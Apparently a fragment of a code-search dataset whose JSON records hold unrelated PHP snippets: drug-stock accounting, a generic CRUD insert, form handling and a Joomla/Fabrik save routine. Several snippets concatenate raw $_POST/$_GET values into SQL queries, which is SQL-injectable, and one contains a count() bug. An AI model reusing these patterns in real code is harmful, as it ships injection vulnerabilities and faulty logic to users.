=== 0 || strpos($get_source_name, \"store\") === 0)) {\n\t\t\t\t\t$get_balance_sql = $this -> db -> query(\"SELECT dsb.balance FROM drug_stock_balance dsb WHERE dsb.facility_code='$facility' AND dsb.stock_type='1' AND dsb.drug_id='$get_drug_id' AND dsb.batch_number='$get_batch' AND dsb.balance>0 AND dsb.expiry_date>=CURDATE() AND dsb.expiry_date='$get_expiry' LIMIT 1\");\n\t\t\t\t\t$balance_array = $get_balance_sql -> result_array();\n\t\t\t\t\t//Check if drug exists in the drug_stock_balance table\n\t\t\t\t\tif (count($balance_array > 0)) {\n\t\t\t\t\t\t$bal_store = $balance_array[0][\"balance\"];\n\t\t\t\t\t} else {\n\t\t\t\t\t\t//If drug does not exist, initialise the balance to zero\n\t\t\t\t\t\t$bal_store = 0;\n\t\t\t\t\t}\n\t\t\t\t\t$store_balance = $bal_store - $get_qty;\n\t\t\t\t}\n\n\t\t\t} else {\n\t\t\t\t//Substract $$balance from qty going out\n\t\t\t\t$balance = $get_available_qty - $get_qty;\n\t\t\t}\n\t\t}\n\t\t/*\n\t\t * Calculate remaining balance end\n\t\t */\n\t\tif($get_destination==$facility && strpos($transaction_type_name, \"issued\")===0){\n\t\t\t$destination=\"\";\n\t\t\t$source=$facility;\n\t\t}\n\t\t//Any pharmacy transaction, source and destination is facility code\n\t\telse if((strpos($transaction_type_name, \"balance\")===0 || (strpos($transaction_type_name, \"returns\")===0 && $transaction_effect==1) || (strpos($transaction_type_name, \"adjustment\")===0 && $transaction_effect==1)|| strpos($transaction_type_name, \"dispensed\")===0 || (strpos($transaction_type_name, \"adjustment\")===0 && $transaction_effect==0)|| (strpos($transaction_type_name, \"returns\")===0 && $transaction_effect==0) || strpos($transaction_type_name, \"losses\")===0 || strpos($transaction_type_name, \"expired\")===0 || (strpos($transaction_type_name, \"startingstock\")===0 || strpos($transaction_type_name, \"physicalcount\")===0)) && $get_stock_type=='2'){\n\t\t\t$source=$facility;\n\t\t\t$destination=$facility;\n\t\t}\n\n\t\t//When issuing, source is facility (for store transaction)\n\t\telse if (strpos($transaction_type_name, \"issued\") === 0) {\n\t\t\t$source = $facility;\n\t\t\t$destination = $get_destination;\n\t\t}\n\t\t//Pharmacy transaction:Received from Main Store, or any other pharmacy transaction\n\t\telse if((strpos($transaction_type_name, \"received\")===0 && $get_stock_type=='2' && (strpos($get_source_name, \"main\")===0 || strpos($get_source_name, \"store\")===0)) || $get_stock_type=='2'){\n\t\t\t$source=$facility;\n\t\t\t$destination=$facility;\n\t\t}\n\t\t//Physical count store\n\t\telse if((strpos($transaction_type_name, \"startingstock\")===0 || strpos($transaction_type_name, \"physicalcount\")===0) && $get_stock_type=='1'){\n\t\t\t$source=$facility;\n\t\t\t$destination=\"\";\n\t\t}\n\t\telse{\n\t\t\t$destination=$facility;\n\t\t\t$source=$get_source;\n\t\t}\n\t\t\n\t\t$sql = \"INSERT INTO drug_stock_movement (drug, transaction_date, batch_number, transaction_type, source, destination, expiry_date, packs,\".$get_qty_choice.\",\".$get_qty_out_choice.\",balance, unit_cost, amount, remarks, operator, order_number, facility,source_destination) VALUES ('\".$get_drug_id. \"', '\".$get_transaction_date.\"', '\".$get_batch.\"', '\".$get_transaction_type .\"', '\".$source.\"', '\".$destination.\"', '\".$get_expiry.\"', '\".$get_packs.\"', '\".$get_qty.\"','0','\".$balance.\"','\".$get_unit_cost.\"', '\".$get_amount.\"', '\".$get_comment.\"','\".$get_user.\"','\".$get_ref_number.\"','\".$facility.\"','\".$source_destination.\"');\";\n\t\t$sql1=$this->db->query($sql);\n\t\t\n\t\t//If transaction type is issued to pharmacy, create query as received from in pharmacy\n\t\tif(strpos($transaction_type_name, \"issued\")===0 and $get_destination==$facility) {\n\t\t\t//Get id for received from transaction\n\t\t\t$get_trans_id=$this->db->query(\"SELECT id FROM transaction_type WHERE name LIKE '%received%' LIMIT 1\");\n\t\t\t$get_trans_id=$get_trans_id->result_array();\n\t\t\t$transaction_type=$get_trans_id[0]['id'];\n\t\t\t\n\t\t\t//Get id for Main Store transaction source\n\t\t\t$get_source_id=$this->db->query(\"SELECT id FROM drug_source WHERE name LIKE '%store%' LIMIT 1\");\n\t\t\t$get_source_id=$get_source_id->result_array();\n\t\t\t$source_destination=$get_source_id[0]['id'];\n\t\t\t$destination=$get_destination;\n\t\t\t//If transaction type is issued to, insert another transaction as a received from\n\t\t\t$sql_queries = \"INSERT INTO drug_stock_movement (drug, transaction_date, batch_number,transaction_type, source, destination, expiry_date, packs,\".$get_qty_out_choice.\",\".$get_qty_choice.\",balance, unit_cost, amount, remarks, operator, order_number, facility,source_destination) VALUES ('\".$get_drug_id. \"', '\".$get_transaction_date.\"', '\".$get_batch.\"', '\".$transaction_type.\"', '\".$source.\"', '\".$destination.\"', '\".$get_expiry.\"', '\".$get_packs.\"', '\".$get_qty.\"','0','\".$pharma_balance.\"','\".$get_unit_cost.\"', '\".$get_amount.\"', '\".$get_comment.\"','\".$get_user.\"','\".$get_ref_number.\"','\".$facility.\"','\".$source_destination.\"');\";\n\t\t\t$sql2=$this->db->query($sql_queries);\n\t\t}\n\n\t\t//If received from main store to pharmacy, insert an issued to in main store\n\t\telse if(strpos($transaction_type_name, \"received\")===0 && $get_stock_type=='2' && (strpos($get_source_name, \"main\")===0 || strpos($get_source_name, \"store\")===0) ){\n\t\t\t//Get id for issued to transaction type\n\t\t\t$get_trans_id=$this->db->query(\"SELECT id FROM transaction_type WHERE name LIKE '%issued%' LIMIT 1\");\n\t\t\t$get_trans_id=$get_trans_id->result_array();\n\t\t\t$transaction_type=$get_trans_id[0]['id'];\n\t\t\t\n\t\t\t//Get id for Main Store transaction source\n\t\t\t$get_destination_id=$this->db->query(\"SELECT id FROM drug_destination WHERE name LIKE '%outpatient%' LIMIT 1\");\n\t\t\t$get_destination_id=$get_destination_id->result_array();\n\t\t\t$source_destination=$get_destination_id[0]['id'];\n\t\t\t\t\n\t\t\t$sql_queries = \"INSERT INTO drug_stock_movement (drug, transaction_date, batch_number, transaction_type, source, destination, expiry_date, packs,\".$get_qty_out_choice.\",\".$get_qty_choice.\",balance, unit_cost, amount, remarks, operator, order_number, facility,source_destination) VALUES ('\".$get_drug_id. \"', '\".$get_transaction_date.\"', '\".$get_batch.\"', '\".$transaction_type.\"', '\".$get_source.\"', '\".$destination.\"', '\".$get_expiry.\"', '\".$get_packs.\"', '\".$get_qty.\"','0','\".$store_balance.\"','\".$get_unit_cost.\"', '\".$get_amount.\"', '\".$get_comment.\"','\".$get_user.\"','\".$get_ref_number.\"','\".$facility.\"','\".$source_destination.\"');\";\n\t\t\t$sql2=$this->db->query($sql_queries);\n\t\t}\n\n\t\t//Update drug_stock_balance\n\t\t//Add to balance\n\t\tif(strpos($transaction_type_name, \"received\")===0 || strpos($transaction_type_name, \"balance\")===0 || (strpos($transaction_type_name, \"returns\")===0 && $transaction_effect==1) || (strpos($transaction_type_name, \"adjustment\")===0 && $transaction_effect==1) || strpos($transaction_type_name, \"startingstock\")===0 || strpos($transaction_type_name, \"physicalcount\")===0){\n\t\t\t//In case of physical count\n\t\t\tif ($get_transaction_type == 11) {\n\t\t\t\t$balance_sql = \"INSERT INTO drug_stock_balance(drug_id,batch_number,expiry_date,stock_type,facility_code,balance) VALUES('\" . $get_drug_id . \"','\" . $get_batch . \"','\" . $get_expiry . \"','\" . $get_stock_type . \"','\" . $facility . \"','\" . $get_qty . \"') ON DUPLICATE KEY UPDATE balance=\" . $get_qty . \";\";\n\n\t\t\t} else {\n\t\t\t\t//If transaction is receiving from Main Store to Pharmacy, Update Main Store Balance\n\t\t\t\tif ($get_transaction_type == 1 && $get_stock_type == 2 && $get_source == 1) {\n\t\t\t\t\t$balance_sql = \"UPDATE drug_stock_balance SET balance=balance - \" . $get_qty . \" WHERE drug_id='\" . $get_drug_id . \"' AND batch_number='\" . $get_batch . \"' AND expiry_date='\" . $get_expiry . \"' AND stock_type='1' AND facility_code='\" . $facility . \"';\";\n\t\t\t\t\t$sql3 = $this -> db -> query($balance_sql);\n\t\t\t\t}\n\t\t\t\t$balance_sql = \"INSERT INTO drug_stock_balance(drug_id,batch_number,expiry_date,stock_type,facility_code,balance) VALUES('\" . $get_drug_id . \"','\" . $get_batch . \"','\" . $get_expiry . \"','\" . $get_stock_type . \"','\" . $facility . \"','\" . $get_qty . \"') ON DUPLICATE KEY UPDATE balance=balance+\" . $get_qty . \";\";\n\n\t\t\t}\n\t\t\t$sql3 = $this -> db -> query($balance_sql);\n\t\t}\n\t\t//Substract from balance\n\t\telse {\n\t\t\t$balance_sql = \"\";\n\t\t\t//If transaction(issued to) is From Main Store to pharmacy, update pharmacy balance\n\t\t\tif (strpos($transaction_type_name, \"issued\") === 0 && $get_destination == $facility && $get_stock_type == 1) {\n\t\t\t\t$balance_sql = \"INSERT INTO drug_stock_balance(drug_id,batch_number,expiry_date,stock_type,facility_code,balance) VALUES('\" . $get_drug_id . \"','\" . $get_batch . \"','\" . $get_expiry . \"','2','\" . $facility . \"','\" . $get_qty . \"') ON DUPLICATE KEY UPDATE balance=balance+\" . $get_qty . \";\";\n\t\t\t\t$sql3 = $this -> db -> query($balance_sql);\n\n\t\t\t}\n\t\t\t$balance_sql = \"UPDATE drug_stock_balance SET balance=balance - \" . $get_qty . \" WHERE drug_id='\" . $get_drug_id . \"' AND batch_number='\" . $get_batch . \"' AND expiry_date='\" . $get_expiry . \"' AND stock_type='\" . $get_stock_type . \"' AND facility_code='\" . $facility . \"';\";\n\t\t\t$sql3 = $this -> db -> query($balance_sql);\n\t\t}\n\n\t}", "title": "" }, { "docid": "65ca6fd572e3667841f525f2704d4101", "score": "0.53814524", "text": "public function create(){\n $post_fields = array();\n foreach($this->fields as $field){\n $post_fields[] = $_POST[$field];\n }\n $values = implode(\"','\", $post_fields);// Form Post values to Insert\n\n $create_sql = \"INSERT into `\".$this->table.\"` (\".$this->raw_fields.\") VALUES ('$values')\";\n return $create_sql;\n }", "title": "" }, { "docid": "7a55bd2b4e447c05f12c999c94c2a083", "score": "0.537612", "text": "function getPostedInputs(){\r\n $postedObj = $_GET;\r\n foreach($postedObj as $key=>$value){\r\n \r\n $value = stripslashes($value);\r\n $value = trim($value);\r\n $value = str_replace(\"`\",\"\",$value);//remove single quote mark, reserved for sql statement \r\n $postedObj[$key] = $value;\r\n }\r\n return $postedObj; \r\n}", "title": "" }, { "docid": "20361f82c20898b43900377c0a6ba233", "score": "0.5370901", "text": "public function run()\n {\n DB::table('values')->insert([\n [\n 'id' => '1',\n 'value' => 'XL',\n 'slug' => 'xl',\n 'attr_id' => '1',\n ],\n [\n 'id' => '2',\n 'value' => 'Vàng',\n 'slug' => 'vang',\n 'attr_id' => '2',\n ],\n [\n 'id' => '3',\n 'value' => 'S',\n 'slug' => 's',\n 'attr_id' => '1',\n ],\n ]);\n }", "title": "" }, { "docid": "855d3594976deac619a8ca1412c25fe6", "score": "0.5368445", "text": "function readInputData() {\n\t\t$this->readUserVars(\n\t\t\tarray(\n\t\t\t\t'cslStyle',\n\t\t\t\t'cslStyleName',\n\t\t\t\t'cssHeaderImage',\n\t\t\t\t'markupHostPass',\n\t\t\t\t'markupHostURL',\n\t\t\t\t'markupHostUser',\n\t\t\t\t'reviewVersion',\n\t\t\t)\n\t\t);\n\t}", "title": "" }, { "docid": "db3943c7219b27dd16fc90b222016dfa", "score": "0.53678846", "text": "public function insertData()\n\t{\n\t\t$data = array(\n\t\t\t/* 'perfume_id' yang dikiri harus sama seperti di table\n\t\t\t'perfume_id' yang dikanan harus menurut name inputnya */\n\t\t\t'perfume_id' => $this->input->post('perfume_id'),\n\t\t\t'perfume_name' => $this->input->post('perfume_name'),\n\t\t\t'perfume_costperkilo' => $this->input->post('perfume_costperkilo')\n\t\t);\n\t\t/* eksekusi query insert into \"perfume\" diisi dengan variable $data\n\t\tface2face ae lek bingung :| */\n\t\t$this->curl->simple_post($this->API.'/perfume', $data, array(CURLOPT_BUFFERSIZE => 10));\n\t}", "title": "" }, { "docid": "7a5c84881e9e82a81dedb5092c8fc950", "score": "0.536498", "text": "private function storeValues()\n {\n $this->debug->groupCollapsed(__METHOD__);\n // if (!$this->status['keyVerified']) {\n if (!$this->status['submitted']) {\n // $this->debug->warn('not submitted');\n $this->debug->groupEnd();\n return;\n }\n if (isset($_SERVER['REQUEST_METHOD']) && $_SERVER['REQUEST_METHOD'] == 'POST') {\n $this->debug->warn('POST method');\n if (isset($_SERVER['CONTENT_LENGTH']) && $_SERVER['CONTENT_LENGTH'] > Str::getBytes(\\ini_get('post_max_size'), true)) {\n $this->debug->warn('post_max_size exceeded');\n $this->alerts->add('Your upload has exceeded the ' . Str::getBytes(\\ini_get('post_max_size')) . ' limit');\n $this->status['postMaxExceeded'] = true;\n }\n $values = $_POST;\n foreach ($_FILES as $k => $file) {\n if ($file['error'] === UPLOAD_ERR_NO_FILE) {\n continue;\n }\n if ($file['error'] === UPLOAD_ERR_OK) {\n // by calling move_uploaded_file, we prevent its automatic deletion\n \\move_uploaded_file($file['tmp_name'], $file['tmp_name']);\n }\n $values[$k] = $file;\n /*\n errors:\n UPLOAD_ERR_OK => 'There is no error, the file uploaded with success',\n UPLOAD_ERR_INI_SIZE => 'The uploaded file exceeds the upload_max_filesize directive in php.ini ('.\\ini_get('upload_max_filesize').')',\n UPLOAD_ERR_FORM_SIZE => 'The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form',\n UPLOAD_ERR_PARTIAL => 'The uploaded file was only partially uploaded',\n UPLOAD_ERR_NO_FILE => 'No file was uploaded',\n UPLOAD_ERR_NO_TMP_DIR => 'Missing a temporary folder',\n UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk.',\n UPLOAD_ERR_EXTENSION => 'A PHP extension stopped the file upload.',\n */\n }\n $this->status['submitted'] = true;\n $this->persist->set('PRGState', 'P');\n $this->persist->set('currentPage.values', $values);\n } elseif (\\strtolower($this->cfg['attribs']['method']) == 'get') {\n $this->debug->warn('storing GET vals');\n $this->persist->set('currentPage.values', $_GET);\n }\n $this->debug->groupEnd();\n }", "title": "" }, { "docid": "542750710fa4877656de4eed436c65e3", "score": "0.5361144", "text": "function processToDB()\r\n\t{\r\n\t\t$listModel = $this->getListModel();\r\n\t\t$listModel->setBigSelects();\r\n\t\t$item = $listModel->getTable();\r\n\t\t$origTableName = $item->db_table_name;\r\n\t\t$origTableKey\t= $item->db_primary_key;\r\n\t\t$pluginManager = FabrikWorker::getPluginManager();\r\n\r\n\t\t// COPY function should create new records\r\n\t\tif (array_key_exists('Copy', $this->_formData)) {\r\n\t\t\t$this->_rowId = '';\r\n\t\t\t//$$$rob dont pass in $item->db_primary_key directly into safeColName as its then\r\n\t\t\t//modified permanently by this function\r\n\t\t\t$k = $item->db_primary_key;\r\n\t\t\t$k = FabrikString::safeColNameToArrayKey($k);\r\n\t\t\t$origid = $this->_formData[$k];\r\n\t\t\t$this->_formData[$k] = '';\r\n\t\t\t$this->_formData['rowid'] = '';\r\n\t\t}\r\n\t\t/* get an array of the joins to process\r\n\t\t note this was processJoin() but now preProcessJoin() does the same except\r\n\t\t no longer stores the results - do this after the main form data has been\r\n\t\t saved and u have an id to use\r\n\t\t for the foreign key value*/\r\n\t\t$aPreProcessedJoins = $listModel->preProcessJoin();\r\n\r\n\t\t$joinKeys = array();\r\n\t\t//needed for plugins that are run after the data is submitted to the db\r\n\t\t// $$$ rob moved to outside processToDB() as this data is needed regardless of\r\n\t\t// whether we store in the db or not (for email data)\r\n\t\t//$this->_formDataWithTableName = $this->_formData;\r\n\t\t$this->_formData = $listModel->removeTableNameFromSaveData($this->_formData, '___');\r\n\t\tif ($this->_storeMainRow) {\r\n\t\t\t$insertId = $this->submitToDatabase($this->_rowId);\r\n\t\t} else{\r\n\t\t\t$insertId = $this->_rowId;\r\n\t\t}\r\n\t\t//set the redirect page to the form's url if making a copy and set the id\r\n\t\t//to the new insertid\r\n\t\tif (array_key_exists('Copy', $this->_formData)) {\r\n\t\t\t$u = str_replace(\"rowid=$origid\", \"rowid=$insertId\", JRequest::getVar('HTTP_REFERER', '', 'server'));\r\n\t\t\tJRequest::setVar('fabrik_referrer', $u);\r\n\t\t}\r\n\t\t$tmpKey \t= str_replace(\"`\", \"\", $item->db_primary_key);\r\n\t\t$joinKeys[$tmpKey] = $insertId;\r\n\t\t$tmpKey \t= str_replace(\".\", \"___\", $tmpKey);\r\n\t\t$this->_formData[$tmpKey] \t= $insertId;\r\n\t\t$this->_formData[FabrikString::shortColName($item->db_primary_key)] = $insertId;\r\n\t\t$this->_fullFormData[$tmpKey] = $insertId; //need for things like the redirect plugin\r\n\t\t$this->_fullFormData['rowid'] = $insertId;\r\n\t\t$this->_formData['rowid'] = $insertId;\r\n\t\t$this->_formDataWithTableName['rowid'] = $insertId;\r\n\t\t$_REQUEST[$tmpKey] \t= $insertId;\r\n\t\t$_POST[$tmpKey] \t= $insertId;\r\n\t\t$_POST['rowid'] \t= $insertId;\r\n\t\t$_REQUEST['rowid'] \t= $insertId;\r\n\t\t// $$$ hugh - pretty sure we need to unset 'usekey' now, as it is not relavent to joined data,\r\n\t\t// and it messing with storeRow of joins\r\n\t\tJRequest::setVar('usekey', '');\r\n\t\t$_POST['usekey'] = '';\r\n\t\t$_REQUEST['usekey'] = '';\r\n\t\t//save join data\r\n\t\t$this->_removeIgnoredData($this->_formData);\r\n\t\t$aDeleteRecordId = '';\r\n\t\tif (array_key_exists('join', $this->_formData)) {\r\n\r\n\t\t\tforeach ($aPreProcessedJoins as $aPreProcessedJoin) {\r\n\r\n\t\t\t\t$oJoin = $aPreProcessedJoin['join'];\r\n\r\n\t\t\t\tif (array_key_exists('Copy', $this->_formData)) {\r\n\t\t\t\t\t$this->_rowId = '';\r\n\t\t\t\t\t$this->_formData['join'][$oJoin->id][$oJoin->table_join.'___'.$oJoin->table_key] = '';\r\n\t\t\t\t\t$this->_formData['rowid'] = '';\r\n\t\t\t\t}\r\n\t\t\t\t// $$$ rob 22/02/2011 could be a mutlfileupload with no images selected?\r\n\t\t\t\tif (!array_key_exists($oJoin->id, $this->_formData['join'])) {\r\n\t\t\t\t\tcontinue;\r\n\t\t\t\t}\r\n\t\t\t\t$data = $this->_formData['join'][$oJoin->id];\r\n\r\n\t\t\t\t// $$$ rob ensure that the joined data is keyed starting at 0 (could be greated if first group deleted)\r\n\t\t\t\tforeach ($data as &$dv) {\r\n\t\t\t\t\tif (is_array($dv)) {\r\n\t\t\t\t\t\t$dv = array_values($dv);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\t//$$$rob moved till just before join table data saved\r\n\t\t\t\t//$data = $oTable->removeTableNameFromSaveData($data, $split='___');\r\n\t\t\t\t$groups = $this->getGroupsHiarachy();\r\n\r\n\t\t\t\t$repeatTotals = JRequest::getVar('fabrik_repeat_group', array(0), 'post', 'array');\r\n\t\t\t\t// 3.0 test on repeatElement param type\r\n\t\t\t\tif (is_string($oJoin->params)) {\r\n\t\t\t\t\t$oJoin->params = json_decode($oJoin->params);\r\n\t\t\t\t}\r\n\t\t\t\tif ((int)$oJoin->group_id !== 0 && $oJoin->params->type !== 'repeatElement') {\r\n\t\t\t\t\t$joinGroup = $groups[$oJoin->group_id];\r\n\t\t\t\t\t//find the primary key for the join table\r\n\t\t\t\t\t// $$$ rob - looks like $item isn't a reference to $listModel->_table -go figure?? (php5.2.5 lax) Also reason why Hugh thought we\r\n\t\t\t\t\t// needed to pass in the table name to the storeRow() function.\r\n\t\t\t\t\t//$item->db_table_name \t= $oJoin->table_join;\r\n\t\t\t\t\t$listModel->getTable()->db_table_name = $oJoin->table_join;\r\n\t\t\t\t} else {\r\n\t\t\t\t\t//repeat element join\r\n\t\t\t\t\t$elementModel = $this->getElement($oJoin->element_id, true);\r\n\t\t\t\t\t$joinGroup = JModel::getInstance('Group', 'FabrikFEModel');\r\n\r\n\t\t\t\t\t//need to set the fake group's form and id to that of the current elements form/group\r\n\t\t\t\t\t//$joinGroup->set('_form', $this);\r\n\t\t\t\t\t//$joinGroup->setId($elementModel->getGroup()->getId());\r\n\r\n\t\t\t\t\t$joinGroup->getGroup()->id = -1;\r\n\t\t\t\t\t$joinGroup->getGroup()->is_join = 1;\r\n\r\n\t\t\t\t\t//set join groups repeat to that of the elements options\r\n\t\t\t\t\tif ($elementModel->isJoin()) {\r\n\t\t\t\t\t\t$joinGroup->getParams()->set('repeat_group_button', 1);\r\n\t\t\t\t\t\t//set repeat count\r\n\t\t\t\t\t\tif ($elementModel->getGroup()->isJoin()) {\r\n\t\t\t\t\t\t\t//repeat element in a repeat group :S\r\n\t\t\t\t\t\t\t$groupJoin = $elementModel->getGroup()->getJoinModel();\r\n\t\t\t\t\t\t\tfor ($r = 0; $r < count($data[$oJoin->table_join.'___id']); $r ++) {\r\n\t\t\t\t\t\t\t\t$repeatTotals['el'.$elementModel->getId()][$r] = count($data[$oJoin->table_join.'___id'][$r]);\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\t$repeatTotals[$oJoin->group_id] = $elementModel->getJoinRepeatCount($data, $oJoin);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\t// \"Not a repeat element (el id = $oJoin->element_id)<br>\";\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t\t//copy the repeating element into the join group\r\n\t\t\t\t\t$idElementModel = $pluginManager->getPlugIn('internalid', 'element');\r\n\t\t\t\t\t$idElementModel->getElement()->name = 'id';\r\n\t\t\t\t\t$idElementModel->getElement()->group_id = $elementModel->getGroup()->getGroup()->id;\r\n\t\t\t\t\t$idElementModel->_group = $elementModel->getGroup();\r\n\t\t\t\t\t$idElementModel->_group = $elementModel->_group;\r\n\t\t\t\t\t$idElementModel->_aFullNames['id1_1__1_'] = $oJoin->table_join.'___id';\r\n\r\n\t\t\t\t\t$parentElement = $pluginManager->getPlugIn('field', 'element');\r\n\t\t\t\t\t$parentElement->getElement()->name = 'parent_id';\r\n\t\t\t\t\t$parentElement->getElement()->group_id = $elementModel->getGroup()->getGroup()->id;\r\n\t\t\t\t\t$parentElement->_group = $elementModel->getGroup();\r\n\t\t\t\t\t$parentElement->_group = $elementModel->_group;\r\n\t\t\t\t\t$parentElement->_aFullNames['parent_id1_1__1_'] = $oJoin->table_join.'___parent_id';\r\n\r\n\t\t\t\t\t$joinGroup->publishedElements = array();\r\n\t\t\t\t\t$joinGroup->publishedElements[''] = array($elementModel, $idElementModel, $parentElement);\r\n\t\t\t\t\t$data[$oJoin->table_join . '___' . $oJoin->table_join_key] = count($repeatTotals[$oJoin->group_id]) === 0 ? array() : array_fill(0, $repeatTotals[$oJoin->group_id], $insertId);\r\n\t\t\t\t\t$this->groups[] = $joinGroup;\r\n\r\n\t\t\t\t\t$listModel->getTable()->db_table_name = $oJoin->table_join;\r\n\t\t\t\t}\r\n\r\n\t\t\t\t$joinGroupTable = $joinGroup->getGroup();\r\n\r\n\t\t\t\t// $$$ rob - erm is $fields needed?\r\n\t\t\t\t$fields = $listModel->getDBFields($listModel->getTable()->db_table_name);\r\n\t\t\t\t$aKey = $listModel->getPrimaryKeyAndExtra();\r\n\t\t\t\t$aKey = $aKey[0];\r\n\t\t\t\t$listModel->getTable()->db_primary_key = $aKey['colname'];\r\n\t\t\t\t$joinDb = $listModel->getDb();\r\n\r\n\t\t\t\t//back on track\r\n\t\t\t\tif (is_array($data) && array_key_exists($oJoin->table_join . '___' . $oJoin->table_join_key, $data)) {\r\n\r\n\t\t\t\t\t//$$$rob get the join tables ful primary key\r\n\t\t\t\t\t$joinDb->setQuery(\"DESCRIBE $oJoin->table_join\");\r\n\t\t\t\t\t$oJoinPk = $oJoin->table_join . \"___\";\r\n\t\t\t\t\t$cols = $joinDb->loadObjectList();\r\n\t\t\t\t\tforeach ($cols as $col) {\r\n\t\t\t\t\t\tif ($col->Key == \"PRI\") {\r\n\t\t\t\t\t\t\t$oJoinPk .= $col->Field;\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t\t$fullforeginKey = $oJoin->table_join . '___' . $oJoin->table_join_key;\r\n\t\t\t\t\t//$repeatTotals = JRequest::getVar('fabrik_repeat_group', array(0), 'post', 'array');\r\n\r\n\t\t\t\t\tif ($joinGroup->canRepeat()) {\r\n\t\t\t\t\t\t//find out how many repeated groups were entered\r\n\r\n\t\t\t\t\t\t$repeatedGroupCount = JArrayHelper::getValue($repeatTotals, $oJoin->group_id, 0, 'int');\r\n\t\t\t\t\t\t$elementModels = $joinGroup->getPublishedElements();\r\n\r\n\t\t\t\t\t\t$aUpdatedRecordIds = array();\r\n\t\t\t\t\t\t$joinCnn = $listModel->getConnection();\r\n\t\t\t\t\t\t$joinDb = $joinCnn->getDb();\r\n\r\n\t\t\t\t\t\t$paramKey = $listModel->getTable()->db_table_name.'___params';\r\n\t\t\t\t\t\t$repeatParams = JArrayHelper::getValue($data, $paramKey, array());\r\n\t\t\t\t\t\tfor ($c = 0; $c < $repeatedGroupCount; $c++) {\r\n\t\t\t\t\t\t\t//get the data for each group and record it seperately\r\n\t\t\t\t\t\t\t$repData = array();\r\n\t\t\t\t\t\t\tforeach ($elementModels as $elementModel) {\r\n\t\t\t\t\t\t\t\t$element = $elementModel->getElement();\r\n\t\t\t\t\t\t\t\t$n = $elementModel->getFullName(false, true, false);\r\n\t\t\t\t\t\t\t\t$v = (is_array($data[$n]) && array_key_exists($c, $data[$n])) ? $data[$n][$c] : '';\r\n\t\t\t\t\t\t\t\t$repData[$element->name] = $v;\r\n\t\t\t\t\t\t\t\t//store any params set in the individual plug-in (see fabrikfileupload::processUpload()->crop()\r\n\t\t\t\t\t\t\t\tif ($elementModel->isJoin()){\r\n\t\t\t\t\t\t\t\t\t$repData['params'] = JArrayHelper::getValue($repeatParams, $c);\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t\t// $$$ rob didn't work for 2nd joined data set\r\n\t\t\t\t\t\t\t//$repData[$oJoin->table_join_key] = $insertId;\r\n\t\t\t\t\t\t\t$repData[$oJoin->table_join_key] = JArrayHelper::getValue($joinKeys, $oJoin->join_from_table.'.'.$oJoin->table_key, $insertId);\r\n\t\t\t\t\t\t\t// $$$ rob test for issue with importing joined csv data\r\n\t\t\t\t\t\t\tif (is_array($repData[$oJoin->table_join_key])) {\r\n\t\t\t\t\t\t\t\t$repData[$oJoin->table_join_key] = $repData[$oJoin->table_join_key][$c];\r\n\t\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t\t//find the primary key for the join table\r\n\r\n\t\t\t\t\t\t\t$item->db_table_name \t= $oJoin->table_join;\r\n\t\t\t\t\t\t\t// $$$ rob - erm is $fields needed -perhaps just pass $item->db_table_name into getPrimaryKeyAndExtra?\r\n\t\t\t\t\t\t\t$fields = $listModel->getDBFields($item->db_table_name);\r\n\t\t\t\t\t\t\t$aKey = $listModel->getPrimaryKeyAndExtra();\r\n\t\t\t\t\t\t\t$aKey = $aKey[0];\r\n\t\t\t\t\t\t\t$item->db_primary_key = $aKey['colname'];\r\n\t\t\t\t\t\t\t$joinRowId = $repData[$item->db_primary_key];\r\n\r\n\t\t\t\t\t\t\t$aDeleteRecordId = $joinDb->Quote($repData[$oJoin->table_join_key]);\r\n\t\t\t\t\t\t\t//$$$ hugh - need to give it the table name!!\r\n\t\t\t\t\t\t\t// $$$ rob no no no this is not the issue, on SOME setups $item is NOT a reference to $listModel->_table - this is where the issue is\r\n\t\t\t\t\t\t\t// not passing in the correct table name - see notes line 720 for explaination\r\n\t\t\t\t\t\t\t// $listModel->storeRow($repData, $joinRowId, true, $item->db_table_name);\r\n\t\t\t\t\t\t\t$listModel->storeRow($repData, $joinRowId, true, $joinGroupTable);\r\n\t\t\t\t\t\t\tif ((int)$joinRowId === 0) {\r\n\t\t\t\t\t\t\t\t$joinRowId = $listModel->lastInsertId;\r\n\t\t\t\t\t\t\t\t// $$$ hugh - need to set PK element value for things like email plugin\r\n\t\t\t\t\t\t\t\t$this->_formData['join'][$oJoin->id][$oJoinPk][$c] = $joinRowId;\r\n\t\t\t\t\t\t\t\t$this->_formDataWithTableName['join'][$oJoin->id][$oJoinPk][$c] = $joinRowId;\r\n\t\t\t\t\t\t\t\t$this->_fullFormData['join'][$oJoin->id][$oJoinPk][$c] = $joinRowId;\r\n\t\t\t\t\t\t\t\t$this->_formData['join'][$oJoin->id][$oJoinPk . '_raw'][$c] = $joinRowId;\r\n\t\t\t\t\t\t\t\t$this->_formDataWithTableName['join'][$oJoin->id][$oJoinPk . '_raw'][$c] = $joinRowId;\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t$aUpdatedRecordIds[]= $joinRowId;\r\n\r\n\t\t\t\t\t\t\t$tmpKey = $oJoin->table_join.'.'.$oJoin->table_key;\r\n\t\t\t\t\t\t\t$joinKeys[$tmpKey] = $listModel->lastInsertId;\r\n\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t$query = $joinDb->getQuery(true);\r\n\t\t\t\t\t\tif ($repeatedGroupCount === 0) { //all repeat group data was removed\r\n\t\t\t\t\t\t\t$query->delete($oJoin->table_join)->where(\"$oJoin->table_join_key = $insertId\");\r\n\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\t//remove any joins that have been deleted with the groups \"delete\" button\r\n\t\t\t\t\t\t\tif (!$data) {\r\n\t\t\t\t\t\t\t\t$query->delete($oJoin->table_join)->where(\"$oJoin->table_join_key = $aDeleteRecordId\");\r\n\t\t\t\t\t\t\t} else 